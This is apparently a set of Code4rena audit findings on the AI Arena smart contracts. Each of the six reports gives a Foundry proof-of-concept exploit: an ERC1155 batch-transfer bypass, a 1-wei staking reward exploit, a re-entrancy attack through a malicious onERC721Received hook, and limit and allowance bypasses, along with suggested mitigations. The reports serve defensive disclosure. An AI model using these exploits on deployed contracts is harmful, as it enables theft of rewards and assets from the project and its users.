AI Arena - djxploit's results

Lines of code

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC1155/ERC1155.sol#L134 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L291

Vulnerability details

Impact

The non-transferable GameItems can be transferred by bypassing the restriction that was placed on overridden safeTransferFrom function :

require(allGameItemAttributes[tokenId].transferable);

As GameItems are ERC1155 , so they have another method safeBatchTransferFrom for transferring assets. This method unlike the other one, is not overridden, which means that the above restriction doesn't apply here.

So using safeBatchTransferFrom a user can transfer the non-transferable assets

Proof of Concept

Below is the foundry test:

    function testbypassSafeTransferFrom() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        vm.prank(_ownerAddress);
        _gameItemsContract.adjustTransferability(0, false);
        _gameItemsContract.mint(0, 1);
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");
        uint[] memory tokenids = new uint[](1);
        tokenids[0] = 0;
        uint[] memory amounts = new uint[](1);
        amounts[0] = 1;
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, tokenids, amounts, "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Override the safeBatchTransferFrom function, and implement the require statement check, similar to what safeTransferFrom have.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L343

Vulnerability details

Impact

A Fighter tokenID can earn unlimited rewards by staking 1 wei. Note that initially the user shouldn't have any NRN in StakeAtRisk contract.

The attacker can initially stake 1 wei of NRN against his NFT. Then he participate in a battle. If he wins, he wins point equivalent to eloFactor amount. For example, if eloFactor is 1500, then he wins 1500 points. If he continues winning consecutively his points will just keep increasing by a multiple of 1500. This happens because of doing division while calculating curStakeAtRisk at #L439. It will always be 0 for amountStaked[tokenId] = 1, because bpsLostPerLoss = 10 and stakeAtRisk = 0, and as numerator < denominator, so curStakeAtRisk will be 0 for staked amount of 1 wei.

Now in real scenerio, the attacker may lose sometimes. So if he loses the battle when he 1st participated, then he would not lose anything. Neither his 1 wei would be sent to StakeAtRisk contract, nor his points will decrease (initially he haven't won any points). This is because as curStakeAtRisk will be 0 (explained above), so only the else condition of #L491 will be triggered. But as curStakeAtRisk = 0, so it will simply transfer 0 NRN to StakeAtRisk contract.

But say after winning a battle (win 1500 points), if he loses, if condition of #L479 will be triggered and his points will simply decrease by eloFactor which is 1500 pts.

So he can play unlimited times. And if his total winning is greater than total loses, in a round, his accumulated points will be positive and he will be able to claim the corresponding reward for the accumulated points.

Proof of Concept

Below is the foundry test for above vulnerability :

    function testfreefrontrunning() public {
        address player1 = vm.addr(3);
        address player2 = vm.addr(4);
        address player3 = vm.addr(5);
        address player4 = vm.addr(6);
        address player5 = vm.addr(7);
        _mintFromMergingPool(player1); // generates tokenID = 0 , belongs to player1
        _mintFromMergingPool(player2); // generates tokenID = 1 , belongs to player2
        _mintFromMergingPool(player3); // generates tokenID = 2 , belongs to player3
        _mintFromMergingPool(player4); // generates tokenID = 3 , belongs to player4
        _mintFromMergingPool(player5); // generates tokenID = 4 , belongs to player5

        _fundUserWith4kNeuronByTreasury(player1);
        _fundUserWith4kNeuronByTreasury(player2);
        _fundUserWith4kNeuronByTreasury(player3);
        _fundUserWith4kNeuronByTreasury(player4);
        _fundUserWith4kNeuronByTreasury(player5);

        vm.prank(player1);
        _rankedBattleContract.stakeNRN(1000 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 1000 * 10 ** 18);

        vm.prank(player2);
        _rankedBattleContract.stakeNRN(1000 * 10 ** 18, 1);
        assertEq(_rankedBattleContract.amountStaked(1), 1000 * 10 ** 18);

        vm.prank(player3);
        _rankedBattleContract.stakeNRN(1000 * 10 ** 18, 2);
        assertEq(_rankedBattleContract.amountStaked(2), 1000 * 10 ** 18);

        vm.prank(player4);
        _rankedBattleContract.stakeNRN(1000 * 10 ** 18, 3);
        assertEq(_rankedBattleContract.amountStaked(3), 1000 * 10 ** 18);

        // Attacker staked only 1 wei of NRN
        vm.prank(player5);
        _rankedBattleContract.stakeNRN(1, 4);
        assertEq(_rankedBattleContract.amountStaked(4), 1);

        uint currentround = _rankedBattleContract.roundId();
        uint nrndistributed = _rankedBattleContract.getNrnDistribution(currentround);
        assertEq(nrndistributed == 5000 * 10 ** 18, true);

        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        _rankedBattleContract.updateBattleRecord(2, 50, 0, 1500, true);
        _rankedBattleContract.updateBattleRecord(3, 50, 0, 1500, true);

        _rankedBattleContract.updateBattleRecord(4, 0, 0, 1500, true); // Attacker won
        _rankedBattleContract.updateBattleRecord(4, 0, 2, 1500, true); // Attacker lost
        _rankedBattleContract.updateBattleRecord(4, 0, 0, 1500, true); // won
        _rankedBattleContract.updateBattleRecord(4, 0, 0, 1500, true); // won
        _rankedBattleContract.updateBattleRecord(4, 0, 2, 1500, true); // lost
        _rankedBattleContract.updateBattleRecord(4, 0, 0, 1500, true); // won
        _rankedBattleContract.updateBattleRecord(4, 0, 0, 1500, true); // won
        vm.stopPrank();

        _rankedBattleContract.setNewRound();
        // Accumulated points
        uint point1 = _rankedBattleContract.accumulatedPointsPerFighter(0, 0);
        uint point2 = _rankedBattleContract.accumulatedPointsPerFighter(1, 0);
        uint point3 = _rankedBattleContract.accumulatedPointsPerFighter(2, 0);
        uint point4 = _rankedBattleContract.accumulatedPointsPerFighter(3, 0);
        uint point5 = _rankedBattleContract.accumulatedPointsPerFighter(4, 0); // Total points accumulated by attacker
        assertEq(point1 == 23250, true);
        assertEq(point2 == 23250, true);
        assertEq(point3 == 23250, true);
        assertEq(point4 == 23250, true);
        assertEq(point5 == 4500, true); // 1500 - 1500 + 1500 + 1500 - 1500 + 1500 + 1500
        
        // Net Profit of 230769230769230769230 wei of NRN <==> approx 230 * 10 ** 18 NRN ( 230_769230769230769230 )
        uint256 unclaimedNRN = _rankedBattleContract.getUnclaimedNRN(player5);
        assertEq(unclaimedNRN == 230769230769230769230, true);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Handle the edge case of lower staked amount when calculating curStakeAtRisk

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139

Vulnerability details

Impact

There is a re-entrancy vulnerability present in the claimRewards function of MergingPool contract. This allows a winner (attacker) to mint extra NFT.

When a winner is announced through pickWinner function, the winner can claim his NFT through the claimRewards function. A winner can also claim his NFT won in different past rounds, altogether using the claimRewards function.

The claimRewards function calls the _fighterFarmInstance.mintFromMergingPool function, which uses ERC721's _safeMint to mint new NFT. But _safeMint has an inherent re-entrancy vulnerability because of the onERC721Received check, which allows an attacker to re-enter the claimRewards function and mint an extra NFT.

Proof of Concept

Attached is a foundry POC for the attack. To exploit the re-entrancy in _safeMint, we have implemented an onERC721Received function, which allows us to re-enter and exploit the vulnerability

    function testClaimRewards_reentrancy() public {
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        _mintFromMergingPool(_DELEGATED_ADDRESS);

        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(2), _DELEGATED_ADDRESS);

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        
        uint256[] memory _winners2 = new uint256[](2);
        _winners2[0] = 1;
        _winners2[1] = 2;

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        
        // Balance of owner before exploitation
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);  

        _mergingPoolContract.pickWinner(_winners2);
        _mergingPoolContract.pickWinner(_winners); // won 1 NFT by owner
        _mergingPoolContract.pickWinner(_winners2);
        _mergingPoolContract.pickWinner(_winners2);
        _mergingPoolContract.pickWinner(_winners); // won 1 NFT by owner
        
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        
        // Hence the owner won 2 NFT and had 1 NFT before exploitation
        // So in total he should have 3 NFT
        // But DUE TO RE-ENTRANCY he have a total of 4 NFT. He received 1 extra NFT
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 4);  
    }

The modified onERC721Received function is :

    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
        
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        return this.onERC721Received.selector;
    }

Tools Used

Manual review

Recommended Mitigation Steps

It is recommended to use nonReentrant modifier or use _mint function instead of _safeMint.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139

Vulnerability details

Impact

Consider a scenerio where the user has 9 NFTs, and say few rounds have passed and he have won 2 NFTs. So now he wants to claim them through claimRewards function, but he will not be able to claim.

This is because while minting a NFT, it is checked that the winner shouldn't have more than MAX_FIGHTERS_ALLOWED(in this case it is 10) NFTs.

Thus the winner will never be able to claim those 2 NFTs that he won.

A user can also grief other users using this vulnerability, by sending them useless NFTs with low elo_factor, and prevent the victims from claiming won NFTs

Proof of Concept

Attached is a foundry test

    function testmaxlimitrevert() public {
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_ownerAddress);

        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(2), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(3), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(4), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(5), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(6), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(7), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(8), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(9), _ownerAddress);
        

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;
        
        uint256[] memory _winners2 = new uint256[](2);
        _winners2[0] = 2;
        _winners2[1] = 3;

        uint256[] memory _winners3 = new uint256[](2);
        _winners3[0] = 1;
        _winners3[1] = 1;

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        
        // Balance of owner before exploitation
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 9);  

        _mergingPoolContract.pickWinner(_winners); // won 1 NFT by owner
        _mergingPoolContract.pickWinner(_winners); // won 1 NFT by owner
        
        // As owner user has won 2 NFT, and he is collecting them after last round,
        // so this increases the total NFT to 9 + 2 = 11 NFT, which is greater than MAX_FIGHTERS_ALLOWED (10)
        // Hence this will revert, and user will never be able to claim his NFT
        vm.expectRevert();
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        
    }

Tools Used

Manual review

Recommended Mitigation Steps

This edge case should be handled

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L476

Vulnerability details

Impact

A user lost a battle and some of his staked amount (amountStaked) got transferred to StakeAtRisk contract. To prevent losing more of his staked amount to StakeAtRisk contract, he un-stakes all his remaining staked amount. He then tries to play further battles, and even if he loses any of them, he wouldn't lose anything, as he doesn't have any staked amount. The if condition in line 476 ensures this.

Now if he wins some of those battles, he can possibly recover some or all of his lost assets at StakeAtRisk contract.

Using this vulnerability to prevent losing, a user can become resistant to losing. Hence the user will never lose any of his staked assets or may lose a small amount of his assets, and also he will accumulate some points when he wins, which he can later claim.

Proof of Concept

Attached is the foundry test:

    function testnolosestakeatrisk() public {
        address player = vm.addr(3);
        address player2 = vm.addr(4);
        _mintFromMergingPool(player);
        _mintFromMergingPool(player2);
        //uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);
        _fundUserWith4kNeuronByTreasury(player2);
        vm.prank(player);
        _rankedBattleContract.stakeNRN(1 * 10 ** 18, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 1 * 10 ** 18);
        vm.prank(player2);
        _rankedBattleContract.stakeNRN(20 * 10 ** 18, 1);
        assertEq(_rankedBattleContract.amountStaked(1), 20 * 10 ** 18);

        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, false); // player loses a battle
        vm.stopPrank();

        uint currentstake_player = _rankedBattleContract.amountStaked(0);
        console.log(currentstake_player);

        // player unstakes all his remaining staked NRN
        vm.prank(player);
        _rankedBattleContract.unstakeNRN(currentstake_player, 0);
        assertEq(_rankedBattleContract.amountStaked(0), 0);

        // His stake at risk due to previous 1 loss
        uint stakeatrisk = _stakeAtRiskContract.getStakeAtRisk(0);
        console.log(stakeatrisk);

        // Even if he doesn't win all battles, he can win some, and recover some of his assets from StakeAtRisk contract
        for (uint i = 0; i< 1000; i++) {
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 0, 0, 1500, false);
        _rankedBattleContract.updateBattleRecord(0, 0, 0, 1500, false);
        vm.stopPrank();
        }

        uint stake = _rankedBattleContract.amountStaked(0);
        console.log(stake);

        stakeatrisk = _stakeAtRiskContract.getStakeAtRisk(0);
        console.log(stakeatrisk);
        

        _rankedBattleContract.setNewRound();
    }

Tools Used

Manual review

Recommended Mitigation Steps

When the user doesn't have any staked amount, and have some amount at StakeAtRisk , i.e amountStaked[tokenId] == 0 and stakeAtRisk != 0, then in that case, if the user loses a battle some amount of stakeAtRisk should be permanently sent to the treasury address. This amount can never be recovered, not even if the current round hasn't finished.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L41

Vulnerability details

Impact

A user can have more GameItems than the daily allowance limit.

If the dailyAllowance of a battery(GameItem) is 10, then a user is not allowed to buy more than 10 battery. But this restriction can be bypassed, by buying the battery GameItem from other address, and then transferring it to the user's address.

Proof of Concept

Attached is the foundry test

    function testbypassdailyAllowance() public {
        address user1 = vm.addr(111);
        address user2 = vm.addr(222);

        vm.startPrank(_treasuryAddress);
        _neuronContract.transfer(user1, 40_000 * 10 ** 18);
        _neuronContract.transfer(user2, 40_000 * 10 ** 18);
        vm.stopPrank();

        vm.startPrank(user1);
        uint allowance = _gameItemsContract.getAllowanceRemaining(user1, 0);
        assertEq(allowance == 10, true);
        _gameItemsContract.mint(0, 10);
        allowance = _gameItemsContract.getAllowanceRemaining(user1, 0);
        assertEq(allowance == 0, true);

        vm.expectRevert();
        _gameItemsContract.mint(0, 1); // A user cannot mint more than the daily limit (in this case it is 10)

        vm.startPrank(user2);
        _gameItemsContract.mint(0, 10);
        _gameItemsContract.safeTransferFrom(user2, user1, 0, 10, ""); // But we can mint from other user address and transfer it to us

        // Thus we can have more than the max daily limit
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 20);
    }

Tools Used

Manual review

Recommended Mitigation Steps

While transferring a GameItem, check that the target address will not cross the daily allowance limit.

Assessed type

Access Control